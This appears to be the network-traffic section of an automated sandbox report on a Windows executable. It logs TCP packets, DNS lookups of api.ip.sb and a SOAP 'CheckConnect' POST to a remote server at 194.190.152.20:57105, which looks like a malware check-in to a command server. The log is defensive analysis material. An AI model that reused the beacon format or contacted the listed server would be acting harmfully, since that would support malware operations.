Oct 7, 2022 05:02:37.329535007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329713106 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329905987 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.330507040 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.330804110 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.331114054 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.331134081 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.331461906 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.331492901 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.331696987 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.331933975 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.332295895 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.332616091 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.333012104 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.333089113 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.333372116 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.333537102 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.333729029 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.333890915 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.334127903 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.334614992 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.334806919 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.335180044 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.335454941 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.335691929 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.336257935 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.336518049 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.336932898 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.337011099 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.337212086 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.337450027 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.337723970 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.338184118 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.338418961 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.338656902 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.338759899 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.338980913 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.339206934 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.339498997 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.339616060 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.340353012 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.340590000 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.340954065 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.341099977 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.341669083 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.341945887 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.342386961 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.342705965 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.342951059 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.343264103 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.343452930 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.343620062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.343852043 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.344042063 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.344327927 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.344436884 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.344650030 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.345123053 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.345518112 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.345791101 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.345988035 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.346417904 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.346632004 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.346780062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.346822977 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.346941948 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.347219944 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.347273111 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.347311974 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.347316980 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.347466946 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.347489119 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.347724915 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.347769022 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.347810030 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.347893953 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.347946882 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.347980976 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.348072052 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.348150015 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.348215103 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.409215927 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409272909 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409298897 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409326077 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409360886 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409398079 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409432888 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409620047 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409840107 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.409919977 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.410000086 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.410073996 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.410240889 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.410315990 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.410815954 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.410845041 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.411000967 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.411088943 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.411117077 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.411562920 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.411878109 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.412081957 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.412362099 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.412440062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.412461996 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.412715912 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.413078070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.413196087 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.413316011 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.413516998 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.413836956 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.413964033 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.414316893 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.414603949 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.414885998 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.415046930 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.415117025 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.415199041 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.415317059 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.415437937 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.415839911 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.416197062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.416276932 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.416316986 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.416575909 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.416964054 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.416990995 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.417438030 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.417563915 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.417881966 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.417942047 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.418201923 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.418838978 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.418920994 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.419078112 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.419538975 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.419567108 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.419581890 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.419656038 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.419919968 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.420037031 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.420198917 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.420479059 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.420758963 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.421202898 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.421238899 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.421401978 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.421679974 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.421703100 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.422041893 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.422321081 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.422358036 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.422606945 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.422682047 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.422801971 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.422835112 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.423165083 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.423480988 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.423640013 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.423676968 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.423880100 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.424293041 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.424405098 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.424640894 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.424879074 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.425080061 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.425126076 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.425228119 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.425326109 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.425800085 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.425882101 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426088095 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426104069 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426203012 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426320076 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426440001 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426599979 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426800013 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.426842928 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.427061081 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.427243948 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.427325964 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.427566051 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.427596092 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.427758932 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.428040981 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.428201914 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.428281069 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.428524971 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.428843021 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.429042101 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.429442883 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.429559946 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.430099964 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.430202007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.430282116 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.430382013 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.430603027 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.430684090 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.430803061 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.431050062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.431126118 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.431525946 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.431730032 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.431746006 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.432207108 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.432282925 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.432563066 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.432600975 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.432682991 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.432801962 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.432926893 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.433001995 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.433207989 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.433444023 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.433723927 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.433885098 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.434003115 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.434134960 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.434446096 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.434562922 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.434763908 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.434969902 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.435086012 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.435287952 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.435487032 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.435646057 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.436084032 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.436445951 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.436523914 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.437011003 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.437203884 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.437408924 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.437423944 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.437525034 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.437724113 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.437925100 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.438247919 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.438324928 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.438570976 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.438644886 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.672785044 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.734668016 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.066926003 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.128845930 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.128943920 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.190751076 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.190840006 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.190938950 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.252810001 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.252863884 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.252885103 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.252918959 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.253067970 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.253551960 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.314982891 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.315011978 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.315026999 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.315038919 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.315109968 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.315176010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.315186977 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.315237045 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.315265894 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.315284014 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.315340996 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.376915932 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.376944065 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.377021074 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.377093077 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.377224922 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.377289057 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.377743006 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.377760887 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.378266096 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.378318071 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.438868046 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.438913107 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.438930988 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.438949108 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.438965082 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.439014912 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.439140081 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.439222097 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.439341068 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.472382069 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:38.516418934 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:38.885312080 CEST	49703	57105	192.168.2.5	194.190.152.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2022 05:02:23.169099092 CEST	50295	53	192.168.2.5	8.8.8.8
Oct 7, 2022 05:02:23.208085060 CEST	60841	53	192.168.2.5	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2022 05:02:23.169099092 CEST	192.168.2.5	8.8.8.8	0xeb7e	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Oct 7, 2022 05:02:23.208085060 CEST	192.168.2.5	8.8.8.8	0x81da	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2022 05:02:23.190856934 CEST	8.8.8.8	192.168.2.5	0xeb7e	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2022 05:02:23.229866982 CEST	8.8.8.8	192.168.2.5	0x81da	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

194.190.152.20:57105

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49701	194.190.152.20	57105	C:\Users\user\Desktop\2MNB4UhUqR.exe

Timestamp	kBytes transferred	Direction	Data
Oct 7, 2022 05:02:12.112745047 CEST	101	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 194.190.152.20:57105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Oct 7, 2022 05:02:12.175921917 CEST	101	IN	HTTP/1.1 100 Continue
Oct 7, 2022 05:02:12.351345062 CEST	102	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 07 Oct 2022 03:02:12 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
